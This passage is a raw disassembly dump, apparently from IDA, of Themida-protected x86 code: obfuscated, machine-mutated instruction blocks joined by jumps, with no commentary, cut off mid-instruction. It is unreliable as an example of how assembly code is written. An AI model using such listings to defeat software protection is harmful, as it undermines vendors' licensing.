sub ebp, 0D517CA3h add ebp, ebx jmp loc_594124 ; --------------------------------------------------------------------------- loc_5A2821: ; CODE XREF: Themida_:005A2214j mov edx, [esp] add esp, 4 add edx, 4 jmp loc_59BB42 ; --------------------------------------------------------------------------- loc_5A2835: ; CODE XREF: Themida_:00599597j add al, bl push 567Eh jmp loc_591404 ; --------------------------------------------------------------------------- loc_5A2841: ; CODE XREF: Themida_:0059722Dj mov esi, 6ADF4CCDh sub esi, 9AB3977h mov ebx, esi pop esi mov ebp, ebx pop ebx add eax, 2F181CD2h jmp loc_59C01A ; --------------------------------------------------------------------------- loc_5A285C: ; CODE XREF: Themida_:005A3953j mov ebp, 0EA23DC3h jmp loc_595E4A ; --------------------------------------------------------------------------- loc_5A2866: ; CODE XREF: Themida_:005A156Aj pop ebp xor ebp, ebx pop ebx jmp loc_5A00A3 ; --------------------------------------------------------------------------- loc_5A286F: ; CODE XREF: Themida_:0059A0BAj add esi, edx pop edx push esi mov esi, 5EBE484Ch sub eax, esi jmp loc_5A1FF6 ; --------------------------------------------------------------------------- loc_5A287F: ; CODE XREF: Themida_:0059E9A9j push ecx push esp pop ecx add ecx, 4 add ecx, 2 xchg ecx, [esp] jmp loc_5A1FB3 ; --------------------------------------------------------------------------- mov cx, [esp] push edx jmp loc_599068 ; --------------------------------------------------------------------------- loc_5A28A0: ; CODE XREF: Themida_:00598884j sub eax, ebx mov ebx, eax pop eax sub ebx, 11951421h and [edi+1Ch], ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_5902C1 ; --------------------------------------------------------------------------- push 0E49h jmp loc_593E3D ; --------------------------------------------------------------------------- loc_5A28C7: ; CODE XREF: Themida_:00596E73j add esp, 4 add ecx, edi push eax jmp loc_590B69 ; --------------------------------------------------------------------------- loc_5A28D2: ; CODE XREF: Themida_:005A0B3Bj mov ebp, 11B4328Ah jmp loc_59C203 ; --------------------------------------------------------------------------- loc_5A28DC: ; CODE XREF: Themida_:0059891Aj xor edx, 170F47F8h xor edx, 0B46EA827h sub ecx, edx pop edx push esi mov esi, 757539F9h and esi, 4A8C18A4h and esi, 43DD250Fh jmp loc_596BD3 ; --------------------------------------------------------------------------- loc_5A2902: ; CODE XREF: Themida_:0059A46Dj push edx mov dh, bh mov ch, dh pop edx pop ebx jmp loc_5A182B ; --------------------------------------------------------------------------- loc_5A290E: ; CODE XREF: Themida_:005A1C10j push 27046ECFh pop edx push esi mov esi, 5F1A345Ch shr esi, 4 dec esi xor esi, 6FC2A1Fh push edi mov edi, 4E834175h sub edi, 0E60B2897h and esi, edi pop edi jmp loc_59FCF9 ; --------------------------------------------------------------------------- loc_5A2938: ; CODE XREF: Themida_:0059EE64j xor ebx, 1B70C07Bh jmp loc_598492 ; --------------------------------------------------------------------------- loc_5A2943: ; CODE XREF: Themida_:0059CFA8j push ebx jmp loc_5A1E6D ; --------------------------------------------------------------------------- loc_5A2949: ; CODE XREF: Themida_:005A54F4j sub eax, ebx sub eax, 2EEA5B7Bh push esi mov esi, 5B856BC7h add eax, esi jmp loc_598908 ; --------------------------------------------------------------------------- loc_5A295D: ; CODE XREF: Themida_:0059EFDFj mov ecx, [esp] jmp loc_59E4DC ; --------------------------------------------------------------------------- loc_5A2965: ; CODE XREF: Themida_:0059864Cj xchg ecx, [esp] pop esp add edx, ecx sub edx, 5264604Dh push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 jmp loc_5908D4 ; --------------------------------------------------------------------------- loc_5A2983: ; CODE XREF: Themida_:00593750j not ecx push esi push ecx jmp loc_59E56D ; --------------------------------------------------------------------------- loc_5A298C: ; CODE XREF: Themida_:005A0A5Bj or eax, eax jz loc_598658 push 57D0h mov [esp], ebx push 1Ch pop ebx sub ebx, 5883132Dh sub ebx, 497E5C44h add ebx, edi push edi jmp loc_59B8E8 ; --------------------------------------------------------------------------- loc_5A29B6: ; CODE XREF: Themida_:00593634j add esi, eax pop eax jmp loc_59F575 ; --------------------------------------------------------------------------- loc_5A29BE: ; CODE XREF: Themida_:005A20F1j mul cl jmp loc_59CEB3 ; --------------------------------------------------------------------------- loc_5A29C5: ; CODE XREF: Themida_:0059168Bj sub esi, ebp pop ebp push 119Eh jmp loc_59D5CC ; --------------------------------------------------------------------------- loc_5A29D2: ; CODE XREF: Themida_:00593C85j sub eax, ebx jmp loc_599B6A ; --------------------------------------------------------------------------- loc_5A29D9: ; CODE XREF: Themida_:00599CEFj push 65D4h mov [esp], ecx jmp loc_590DBC ; --------------------------------------------------------------------------- loc_5A29E6: ; CODE XREF: Themida_:00596606j xchg eax, [esp] pop esp push 57C8h mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_5965DA ; --------------------------------------------------------------------------- loc_5A29FD: ; CODE XREF: Themida_:005A49D0j sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_598A6F ; --------------------------------------------------------------------------- loc_5A2A0C: ; CODE XREF: Themida_:00596538j add ebx, 5CEF2B5Bh xor ebx, 0CEE326Dh add ebx, 0E470AD84h jmp loc_59CA33 ; --------------------------------------------------------------------------- loc_5A2A23: ; CODE XREF: Themida_:00590C7Aj mov eax, [esp] add esp, 4 add ebp, 17A65D56h add ebp, esi jmp loc_59E53A ; --------------------------------------------------------------------------- loc_5A2A36: ; CODE XREF: Themida_:0059C2FAj push ebp mov ebp, 5F762DDEh dec ebp not ebp push esi jmp loc_5A1AC5 ; --------------------------------------------------------------------------- loc_5A2A45: ; CODE XREF: Themida_:005950F8j imul ecx push ebx jmp loc_59C726 ; --------------------------------------------------------------------------- loc_5A2A4D: ; CODE XREF: Themida_:005A3CB2j mov edx, [esp] push eax mov eax, esp push ecx jmp loc_5A2EF4 ; --------------------------------------------------------------------------- loc_5A2A59: ; CODE XREF: Themida_:005989B0j push 259Fh mov [esp], ecx jmp loc_5981A7 ; --------------------------------------------------------------------------- loc_5A2A66: ; CODE XREF: Themida_:00597AA1j sub ecx, edx jmp loc_59A8D1 ; --------------------------------------------------------------------------- loc_5A2A6D: ; CODE XREF: Themida_:005A2380j mov edi, 6F2C4D76h jmp loc_595358 ; --------------------------------------------------------------------------- loc_5A2A77: ; CODE XREF: Themida_:005A1FB8j mov [esp], cx push 2922h jmp loc_596788 ; --------------------------------------------------------------------------- loc_5A2A85: ; CODE XREF: Themida_:00590E18j pop edi sub bx, 64DDh sub bx, cx add bx, 64DDh push small 20CBh mov [esp], di push small 373h pop di add bx, di mov di, [esp] jmp loc_59EE8B ; --------------------------------------------------------------------------- loc_5A2AAD: ; CODE XREF: Themida_:005A1045j pop edx push 3BF3h mov [esp], edx not dword ptr [esp] push dword ptr [esp] jmp loc_59D9A7 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5A0CA9 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A2ADB: ; CODE XREF: Themida_:00594541j add esp, 4 push eax mov eax, 244E2F22h push edx jmp loc_59EB24 ; --------------------------------------------------------------------------- loc_5A2AEA: ; CODE XREF: Themida_:00595830j sub bl, 0BCh inc bl not bl jmp loc_5921B6 ; --------------------------------------------------------------------------- loc_5A2AF6: ; CODE XREF: Themida_:0059911Ej push ecx mov cl, bh mov [eax], cl pop ecx jmp loc_5A4C81 ; --------------------------------------------------------------------------- loc_5A2B01: ; CODE XREF: Themida_:0059AD9Dj pop dword ptr [esp] pop esp jmp loc_59EF53 ; --------------------------------------------------------------------------- loc_5A2B0A: ; CODE XREF: Themida_:005A2C11j sub esp, 4 mov [esp], edi push 6F086BEBh mov edi, [esp] add esp, 4 sub edx, edi jmp loc_592330 ; --------------------------------------------------------------------------- loc_5A2B25: ; CODE XREF: Themida_:00597E9Ej add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add edi, 8D148D4Ch add esi, edi pop edi push edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, 272C2800h sub esi, 7481C8Fh push ecx mov ecx, 76AB006Bh or ecx, 86E6373h add ecx, 2DDF0536h dec ecx jmp loc_5A2D95 ; --------------------------------------------------------------------------- loc_5A2B74: ; CODE XREF: Themida_:00596701j mov ecx, 4 add ebx, 492707D6h add ebx, ecx sub ebx, 492707D6h pop ecx sub ebx, 2 xchg ebx, [esp] jmp loc_59720B ; --------------------------------------------------------------------------- loc_5A2B96: ; CODE XREF: Themida_:0059933Fj and ebx, 5FC43BEBh sub ebx, 19C1A4DEh sub eax, ebx pop ebx push esi jmp loc_591871 ; --------------------------------------------------------------------------- loc_5A2BAB: ; CODE XREF: Themida_:005A337Cj add edi, ebx sub edi, 78494723h jmp loc_59E670 ; --------------------------------------------------------------------------- loc_5A2BB8: ; CODE XREF: Themida_:00592760j mov ebp, eax pop eax neg ebp inc ebp jmp loc_59E4A5 ; --------------------------------------------------------------------------- loc_5A2BC3: ; CODE XREF: Themida_:005976CFj sub esi, 39B03458h add esi, ebp add esi, 39B03458h mov ebp, [esp] add esp, 4 pop eax push edx jmp loc_5924BE ; --------------------------------------------------------------------------- loc_5A2BDE: ; CODE XREF: Themida_:005941CFj pop ebx jmp loc_5A4463 ; --------------------------------------------------------------------------- loc_5A2BE4: ; CODE XREF: Themida_:005A3295j add [esp+8], ebx pop ebx sub dword ptr [esp+4], 6D89057Ah sub [esp+4], edx add dword ptr [esp+4], 6D89057Ah jmp loc_5A0E6F ; --------------------------------------------------------------------------- loc_5A2C02: ; CODE XREF: Themida_:0059869Fj mov [esp], edx push 435715E5h pop edx add edx, 2BB15A02h jmp loc_5A2B0A ; --------------------------------------------------------------------------- loc_5A2C16: ; CODE XREF: Themida_:005A3F2Cj add esi, ecx mov ecx, [esp] jmp loc_59BAF8 ; --------------------------------------------------------------------------- loc_5A2C20: ; CODE XREF: Themida_:005A0034j pop edx add edx, ebx pop ebx push ebp mov ebp, 4 push ecx jmp loc_597192 ; --------------------------------------------------------------------------- loc_5A2C30: ; CODE XREF: Themida_:005A4DE3j shr bh, 7 push ecx push eax mov al, 94h mov cl, al pop eax add bh, cl pop ecx xor al, bh pop ebx push small 3259h mov [esp], cx push eax jmp loc_594176 ; --------------------------------------------------------------------------- loc_5A2C4E: ; CODE XREF: Themida_:0059F42Fj mov ebp, 234F7519h jmp loc_594A86 ; --------------------------------------------------------------------------- loc_5A2C58: ; CODE XREF: Themida_:005A52ABj mov esp, [esp] mov edx, [esp] jmp loc_5980E0 ; --------------------------------------------------------------------------- loc_5A2C63: ; CODE XREF: Themida_:0059055Aj add esp, 4 push edx jmp loc_5A1DF7 ; --------------------------------------------------------------------------- loc_5A2C6F: ; CODE XREF: Themida_:00592BE8j push 5A3Dh mov [esp], edi push 45C3708Bh jmp loc_59F94C ; --------------------------------------------------------------------------- loc_5A2C81: ; CODE XREF: Themida_:0059711Bj dec edx add edx, 0E3ED79E5h jmp loc_5A4707 ; --------------------------------------------------------------------------- loc_5A2C8D: ; CODE XREF: Themida_:005917D4j add cl, 8Ah jmp loc_5A37EC ; --------------------------------------------------------------------------- loc_5A2C95: ; CODE XREF: Themida_:0059ED7Bj mov eax, 4 jmp loc_59BEEC ; --------------------------------------------------------------------------- loc_5A2C9F: ; CODE XREF: Themida_:0059B745j xor eax, [esp] pop esp sub esp, 4 mov [esp], ecx mov ecx, 4 add ebx, 4E84640h add ebx, ecx jmp loc_59BA37 ; --------------------------------------------------------------------------- loc_5A2CBE: ; CODE XREF: Themida_:0059F3C3j add esp, 4 sub ebx, 53DE44F8h sub ebx, eax jmp loc_59EEDA ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push 63AEh mov [esp], ebx mov ebx, esp jmp loc_59B704 ; --------------------------------------------------------------------------- loc_5A2CE2: ; CODE XREF: Themida_:00593CD2j pop ecx sub edi, 4 xchg edi, [esp] jmp loc_59BE95 ; --------------------------------------------------------------------------- loc_5A2CF1: ; CODE XREF: Themida_:005A4F83j sub edx, 0FD4910D0h mov esi, edx mov edx, [esp] add esp, 4 shl esi, 2 neg esi add esi, 1 sub esi, 0F4D341F5h add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 7C70h mov [esp], ebx mov ebx, 1 and eax, ebx push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A193C ; --------------------------------------------------------------------------- loc_5A2D42: ; CODE XREF: Themida_:0059D521j pop ebx xchg edx, [esp] pop esp mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_59627E ; --------------------------------------------------------------------------- loc_5A2D57: ; CODE XREF: Themida_:005A4EC8j push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx jmp loc_5A3CC2 ; --------------------------------------------------------------------------- loc_5A2D71: ; CODE XREF: Themida_:0059F342j mov ebx, ebp pop ebp sub ebp, 78BE449Dh jmp loc_599CD4 ; --------------------------------------------------------------------------- loc_5A2D7F: ; CODE XREF: Themida_:00595518j neg ebp and ebp, 691041C3h shr ebp, 3 jmp loc_592D1F ; --------------------------------------------------------------------------- loc_5A2D8F: ; CODE XREF: Themida_:005987D9j push edx jmp loc_5961F4 ; --------------------------------------------------------------------------- loc_5A2D95: ; CODE XREF: Themida_:005A2B6Fj sub ecx, 6240609Fh sub esi, ecx pop ecx xor esi, 0D5560364h push esi pop edi mov esi, [esp] add esp, 4 sub esi, 0AD7354Dh add esi, edi push eax mov eax, 4B260F62h xor eax, 41F13A2Fh add esi, eax pop eax pop edi jmp loc_5959DD ; --------------------------------------------------------------------------- loc_5A2DCB: ; CODE XREF: Themida_:0059583Ej pop ebp jmp loc_596867 ; --------------------------------------------------------------------------- loc_5A2DD1: ; CODE XREF: Themida_:005A0289j mov edx, 337E2826h jmp loc_591A7A ; --------------------------------------------------------------------------- mov eax, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp push esi push esp pop esi push 59EFh mov [esp], ecx push ebp mov ebp, 302C49DCh jmp loc_59CCCF ; --------------------------------------------------------------------------- loc_5A2E09: ; CODE XREF: Themida_:005A040Dj mov [esp], ecx push 53E5h jmp loc_5A08DA ; --------------------------------------------------------------------------- loc_5A2E16: ; CODE XREF: Themida_:005A179Aj mov edx, 2125670Ah or ecx, edx jmp loc_59EC54 ; --------------------------------------------------------------------------- loc_5A2E22: ; CODE XREF: Themida_:005A0BC1j add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push edi push 5FAEh mov [esp], esp push eax jmp loc_59509D ; --------------------------------------------------------------------------- loc_5A2E41: ; CODE XREF: Themida_:0059A82Fj pop ecx inc ecx xor ecx, ebx xor ebx, ecx xor ecx, ebx not ebx jmp loc_59D8EF ; --------------------------------------------------------------------------- loc_5A2E50: ; CODE XREF: Themida_:00593798j push dword ptr [esp+4] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A2E72: ; CODE XREF: Themida_:0059483Dj mov esp, [esp] push 50B2h mov [esp], edi mov edi, 4 add ebx, 41F1060Bh add ebx, edi sub ebx, 41F1060Bh jmp loc_591126 ; --------------------------------------------------------------------------- loc_5A2E95: ; CODE XREF: Themida_:0059D750j push ecx jmp loc_597B30 ; --------------------------------------------------------------------------- loc_5A2E9B: ; CODE XREF: Themida_:005A13BBj push 64Fh mov [esp], esp push esi push 4 pop esi add [esp+4], esi pop esi pop dword ptr [esp] push 6135h jmp loc_5A26FE ; --------------------------------------------------------------------------- loc_5A2EBC: ; CODE XREF: Themida_:0059A305j mov [esp], ebp jmp loc_5A4591 ; --------------------------------------------------------------------------- loc_5A2EC4: ; CODE XREF: Themida_:0059040Fj push esp mov ecx, [esp] jmp loc_59839B ; --------------------------------------------------------------------------- loc_5A2ECD: ; CODE XREF: Themida_:0059209Bj sub eax, 4 jmp loc_59D38C ; --------------------------------------------------------------------------- loc_5A2ED5: ; CODE XREF: Themida_:00599D03j xor [esp], esi xor esi, [esp] pop esp and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi push esi mov esi, esp push edi jmp loc_5A50A9 ; --------------------------------------------------------------------------- loc_5A2EEE: ; CODE XREF: Themida_:005A42E5j pop ebp jmp loc_5A3C0F ; --------------------------------------------------------------------------- loc_5A2EF4: ; CODE XREF: Themida_:005A2A54j mov ecx, 5F426915h sub ecx, 5F426911h add eax, ecx pop ecx push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] mov esp, [esp] add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push edi sub esp, 4 mov [esp], ebx jmp loc_595868 ; --------------------------------------------------------------------------- loc_5A2F3B: ; CODE XREF: Themida_:005962A5j sub ecx, 4 xchg ecx, [esp] jmp loc_59D1B8 ; --------------------------------------------------------------------------- loc_5A2F46: ; CODE XREF: Themida_:00599824j or eax, ebp jmp loc_592E82 ; --------------------------------------------------------------------------- loc_5A2F4D: ; CODE XREF: Themida_:00595FEBj xchg eax, ecx sub eax, 426C20CAh jmp loc_599339 ; --------------------------------------------------------------------------- loc_5A2F58: ; CODE XREF: Themida_:00598981j dec edi sub edi, 60A579D8h add edi, 146340E0h inc edi add edi, 0ADAAB8Ah mov ebp, edi pop edi xor esi, ebp jmp loc_59DCC5 ; --------------------------------------------------------------------------- loc_5A2F76: ; CODE XREF: Themida_:00595044j mov [esp], ax not byte ptr [esp+1] pop ax jmp loc_59DDC8 ; --------------------------------------------------------------------------- loc_5A2F85: ; CODE XREF: Themida_:0059247Dj xor ch, dl jmp loc_59A4DB ; --------------------------------------------------------------------------- loc_5A2F8C: ; CODE XREF: Themida_:0059F845j add edi, esi pop esi push 27F0h mov [esp], esi sub esp, 4 jmp loc_5977AD ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push 4762h push esp jmp loc_5A0F51 ; --------------------------------------------------------------------------- loc_5A2FB2: ; CODE XREF: Themida_:005A3584j add ebp, eax mov eax, [esp] jmp loc_5A37C4 ; --------------------------------------------------------------------------- loc_5A2FBC: ; CODE XREF: Themida_:00596678j pop ecx xchg eax, [esp] mov esp, [esp] xchg edi, [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A2FD2: ; CODE XREF: Themida_:00599000j mov esi, [esp] jmp loc_596CA7 ; --------------------------------------------------------------------------- loc_5A2FDA: ; CODE XREF: Themida_:0059AE90j mov edi, 1A3AC807h jmp loc_597B86 ; --------------------------------------------------------------------------- loc_5A2FE4: ; CODE XREF: Themida_:005A0282j add edi, eax pop eax xchg edi, [esp] jmp loc_59EF1A ; --------------------------------------------------------------------------- loc_5A2FEF: ; CODE XREF: Themida_:005A2084j mov [esp], ecx push esi push 7F967F2Fh push dword ptr [esp] jmp loc_5A4BD7 ; --------------------------------------------------------------------------- lodsb push dx mov dh, 56h push ebx jmp loc_59369A ; --------------------------------------------------------------------------- loc_5A300B: ; CODE XREF: Themida_:0059CC78j add bl, al jmp loc_59372A ; --------------------------------------------------------------------------- loc_5A3012: ; CODE XREF: Themida_:005A4115j pop esi jmp loc_5993B6 ; --------------------------------------------------------------------------- loc_5A3018: ; CODE XREF: Themida_:00592C2Dj add eax, 0AD5A86B0h xor edx, eax pop eax add edi, edx pop edx xchg edi, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push 6026h jmp loc_5A15E3 ; --------------------------------------------------------------------------- loc_5A304F: ; CODE XREF: Themida_:0059AD84j xchg ebx, [esp] pop esp dec byte ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A305C: ; CODE XREF: Themida_:005A1562j mov ebp, 65096003h inc ebp push eax mov eax, 7E8E7D0Fh xor eax, 3B697B14h jmp loc_5A05AA ; --------------------------------------------------------------------------- loc_5A3072: ; CODE XREF: Themida_:0059EA35j push edi jmp loc_593A85 ; --------------------------------------------------------------------------- loc_5A3078: ; CODE XREF: Themida_:005A07A8j mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ebx push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A3098: ; CODE XREF: Themida_:00593512j push ecx mov ch, 20h add al, ch pop ecx add al, bl push edx mov dl, 34h push ebx mov bl, dl push ecx mov ch, bl not ch mov bl, ch pop ecx jmp loc_59F4ED ; --------------------------------------------------------------------------- loc_5A30B3: ; CODE XREF: Themida_:005954BDj and edx, esi mov esi, [esp] add esp, 4 inc edx and edx, 12284911h sub edx, 0A4A911AAh jmp loc_5913D0 ; --------------------------------------------------------------------------- loc_5A30D0: ; CODE XREF: Themida_:0059DE5Aj push eax jmp loc_59A364 ; --------------------------------------------------------------------------- loc_5A30D6: ; CODE XREF: Themida_:005A2691j mov ebx, 29990DA9h add ebp, ebx pop ebx add ebp, 77E84E56h add ebp, esi sub ebp, 77E84E56h push 6C23h mov [esp], esi mov esi, 29990DA9h sub ebp, esi pop esi pop esi sub ebp, 4 sub esp, 4 jmp loc_594F82 ; --------------------------------------------------------------------------- loc_5A310E: ; CODE XREF: Themida_:00597826j mov [esp], esi mov esi, 56414B18h jmp loc_593716 ; --------------------------------------------------------------------------- loc_5A311B: ; CODE XREF: Themida_:005970FEj xchg edi, [esp] mov esp, [esp] movzx ax, byte ptr [eax] push ebp push 0D45h push esp pop dword ptr [esp] push ebx jmp loc_5906E8 ; --------------------------------------------------------------------------- mov ecx, [esp] push 6735h mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 1AE7518Ch mov eax, 0E518AE78h add eax, edx pop edx add esi, 38C91E48h add esi, eax sub esi, 38C91E48h jmp loc_59D9B8 ; --------------------------------------------------------------------------- loc_5A3174: ; CODE XREF: Themida_:00595977j push eax push esi jmp loc_59B5BC ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A318A: ; CODE XREF: Themida_:005972F4j push 6DCC54E1h jmp loc_59F1D8 ; --------------------------------------------------------------------------- loc_5A3194: ; CODE XREF: Themida_:0059A091j pop eax add ecx, 2BFF3C65h add ecx, ebx sub ecx, 2BFF3C65h pop ebx xchg ecx, [esp] pop esp mul cx push edx jmp loc_595112 ; --------------------------------------------------------------------------- loc_5A31B1: ; CODE XREF: Themida_:00594968j push ebp mov ebp, esp add ebp, 4 sub ebp, 2 xchg ebp, [esp] pop esp jmp loc_59C7FE ; --------------------------------------------------------------------------- loc_5A31C6: ; CODE XREF: Themida_:00593A0Ej xchg edx, [esp] pop esp add ecx, edi pop edi sub ecx, 2 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_59425D ; --------------------------------------------------------------------------- loc_5A31E8: ; CODE XREF: Themida_:005968C9j push dword ptr [esp] push dword ptr [esp] jmp loc_59572D ; --------------------------------------------------------------------------- loc_5A31F3: ; CODE XREF: Themida_:00593165j pop eax sub ebx, 18477A8Dh inc ebx add ebx, 0AA67556Fh add edx, ebx pop ebx push esi push edx push 49C93C8Eh pop edx shr edx, 7 not edx xor edx, 0FF6C6D82h mov esi, edx pop edx push ebx mov ebx, 6713A12h and ebx, 40D337E1h dec ebx shl ebx, 1 jmp loc_597EC1 ; --------------------------------------------------------------------------- loc_5A322E: ; CODE XREF: Themida_:00597388j mov ebx, 4 add ebp, ebx pop ebx sub esp, 4 mov [esp], edx mov edx, 56BC6452h sub edx, 26062A1Ch inc edx shr edx, 8 add edx, 63C75DFAh push 1413h mov [esp], eax push 6245h mov [esp], ecx push 7BFE3838h pop ecx shl ecx, 3 push ebp mov ebp, 67B54C49h dec ebp dec ebp jmp loc_59BE11 ; --------------------------------------------------------------------------- loc_5A327A: ; CODE XREF: Themida_:00599F30j pop dword ptr [esp] pop esp mov ecx, [esp] push edx push 0A19h mov [esp], esp jmp loc_594629 ; --------------------------------------------------------------------------- loc_5A328F: ; CODE XREF: Themida_:00590FC1j push ebx mov ebx, 522A08ADh jmp loc_5A2BE4 ; --------------------------------------------------------------------------- loc_5A329A: ; CODE XREF: Themida_:0059B195j add esi, 2 xchg esi, [esp] jmp loc_5979DB ; --------------------------------------------------------------------------- loc_5A32A5: ; CODE XREF: Themida_:005925C1j not edi neg edi and edi, 42C71AC5h xor edi, 590B629Bh add eax, edi pop edi sub esp, 4 mov [esp], edi jmp loc_595EC0 ; --------------------------------------------------------------------------- loc_5A32C6: ; CODE XREF: Themida_:0059B3F7j push edi mov edi, 1AD53049h push ebx push ebp mov ebp, 414612CFh mov ebx, ebp jmp loc_59EE5E ; --------------------------------------------------------------------------- loc_5A32DA: ; CODE XREF: Themida_:005A5455j add ebx, 26927A6h add ebx, ecx sub ebx, 26927A6h mov ecx, [esp] add esp, 4 add ebx, 2 xchg ebx, [esp] mov esp, [esp] mov ax, [esp] push ebp jmp loc_59FD9E ; --------------------------------------------------------------------------- loc_5A3301: ; CODE XREF: Themida_:00599952j mov edx, [esp] add esp, 4 push ebx push eax mov eax, 61236E35h xor eax, 3DBC7C4Ch jmp loc_59315E ; --------------------------------------------------------------------------- loc_5A331B: ; CODE XREF: Themida_:005A08E7j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_59959C ; --------------------------------------------------------------------------- loc_5A332D: ; CODE XREF: Themida_:00595119j push 5C7Ah mov [esp], edx mov edx, esp add edx, 4 jmp loc_596014 ; --------------------------------------------------------------------------- loc_5A3342: ; CODE XREF: Themida_:005A25FDj mov edx, esp jmp loc_59D3C7 ; --------------------------------------------------------------------------- loc_5A3349: ; CODE XREF: Themida_:0059B0DFj add esp, 4 xor ecx, edx pop edx add ebp, 75A05348h jmp loc_59F6E9 ; --------------------------------------------------------------------------- loc_5A335A: ; CODE XREF: Themida_:005A15C8j mov ecx, [eax] mov eax, [esp] add esp, 4 jmp loc_5A3F31 ; --------------------------------------------------------------------------- loc_5A3367: ; CODE XREF: Themida_:005A1409j shl edx, 6 shr edx, 5 xor edx, 6884B933h add edi, edx pop edx add edi, 78494723h jmp loc_5A2BAB ; --------------------------------------------------------------------------- loc_5A3381: ; CODE XREF: Themida_:0059F3A5j pop esp push dword ptr [esp] jmp loc_5A37A1 ; --------------------------------------------------------------------------- loc_5A338A: ; CODE XREF: Themida_:005925B6j push esi mov esi, 305F736Eh push 0FD5h mov [esp], esi push edi mov edi, 78022554h mov esi, 0C32C3841h jmp loc_5A3DEA ; --------------------------------------------------------------------------- loc_5A33A8: ; CODE XREF: Themida_:005910EFj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax push 0A74h mov [esp], esp add dword ptr [esp], 4 jmp loc_5A1C46 ; --------------------------------------------------------------------------- loc_5A33CF: ; CODE XREF: Themida_:00592D96j xor esi, [esp] jmp loc_590591 ; --------------------------------------------------------------------------- loc_5A33D7: ; CODE XREF: Themida_:00597E03j add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push eax push esp pop eax jmp loc_599DFD ; --------------------------------------------------------------------------- loc_5A33E9: ; CODE XREF: Themida_:00596FEFj pop ecx push ecx jmp loc_59075C ; --------------------------------------------------------------------------- push 923h mov [esp], eax mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp push 5768h mov [esp], ecx push 6EDA1428h mov ecx, [esp] add esp, 4 dec ecx or ecx, 6EAA6237h xor ecx, 6EFA7237h jmp loc_596CE8 ; --------------------------------------------------------------------------- loc_5A3435: ; CODE XREF: Themida_:005A0CDFj pop esp push ecx mov cl, 0D8h jmp loc_596FDA ; --------------------------------------------------------------------------- loc_5A343E: ; CODE XREF: Themida_:0059365Bj add esp, 4 add ecx, eax push dword ptr [esp] jmp loc_59A5B8 ; --------------------------------------------------------------------------- loc_5A344E: ; CODE XREF: Themida_:00593FCCj pop esp jmp loc_59DEDD ; --------------------------------------------------------------------------- loc_5A3454: ; CODE XREF: Themida_:005A4586j mov ecx, 125C2D1Ah not ecx or ecx, 118C582Dh jmp loc_5A39D2 ; --------------------------------------------------------------------------- loc_5A3466: ; CODE XREF: Themida_:00599113j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A431D ; --------------------------------------------------------------------------- loc_5A347A: ; CODE XREF: Themida_:005A5604j push 5B03h mov [esp], edi jmp loc_5A23A7 ; --------------------------------------------------------------------------- loc_5A3487: ; CODE XREF: Themida_:00598626j xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_59753D ; --------------------------------------------------------------------------- loc_5A34A9: ; CODE XREF: Themida_:0059AA82j mov esi, 5E0E5B66h mov ecx, esi pop esi jmp loc_59D03B ; --------------------------------------------------------------------------- loc_5A34B6: ; CODE XREF: Themida_:005A5084j pop esi sub edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_59491E ; --------------------------------------------------------------------------- loc_5A34C9: ; CODE XREF: Themida_:005A07D9j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov ax, [esp] push esi jmp loc_5A1980 ; --------------------------------------------------------------------------- loc_5A34DF: ; CODE XREF: Themida_:005A53A1j or edi, 7C9F54F6h xor edi, 6182925h push ebp mov ebp, 491D6813h jmp 